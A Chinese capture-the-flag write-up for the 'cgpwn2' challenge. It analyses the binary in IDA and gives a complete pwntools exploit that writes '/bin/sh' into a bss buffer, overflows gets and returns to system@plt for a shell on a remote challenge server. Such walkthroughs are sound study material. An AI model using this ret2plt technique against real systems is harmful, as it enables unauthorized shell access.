image.png
0x00 file
和checksec
image.png
0x01 ida
分析
image.png
- 调用了
hello
函数
- 存在危险函数
gets
- 发现
name
存在于bss
段,可能能向里面写点什么东西,接着往下看
image.png
- 同时发现存在
system
函数
image.png
- 思路就有了,利用read向bss段写入
'/bin/sh'
,然后利用gets溢出调用system即可getshell
0x02 完整exp
- 将
name
写为'/bin/sh'
,返回地址改为system_plt
的地址,参数为name
的地址即可
from pwn import *
local=0
pc='./cgpwn2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 45365]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
bin_sh = '/bin/sh'
sla('name\n', bin_sh)
system_plt_addr = 0x08048420
name_addr = 0x0804a080
payload = ''
payload += 'A'*0x26
payload += 'cxy1'
payload += p32(system_plt_addr)
payload += 'cxy2'
payload += p32(name_addr)
sla('here:\n', payload)
p.interactive()
0x03 结果
image.png
网友评论